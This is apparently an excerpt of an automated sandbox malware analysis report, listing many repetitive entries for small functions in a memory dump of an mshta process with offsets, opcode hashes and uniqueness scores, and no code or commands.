                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660977 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766057F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660557 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766091F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605E7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609E7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609EF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605EF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609F7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609C7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605CF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609CF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605D7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609D7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605DF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609DF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609AF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076605AF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076609BF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660987 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766099F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660467 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766046F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660C77 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660C7F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 0766042F Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660437 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 076608EF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660CEF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660CA7 Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction ID: bbde1dada8b25d7273cb5cfbec5134a4b19eb472aa401f3f4b6b5555c83b9c9b
                                                                                        • Opcode Fuzzy Hash: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
                                                                                        • Instruction Fuzzy Hash:
                                                                                        Uniqueness

                                                                                        Uniqueness Score: -1.00%

                                                                                        Function 07660CAF Relevance: .0, Instructions: 4COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 0000000A.00000002.548488974.0000000007660000.00000010.00000800.00020000.00000000.sdmp, Offset: 07660000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_10_2_7660000_mshta.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 0d2d841a30edd51747679ad88dacfeafe984a49e6caeb1826feb9b7c350006b9
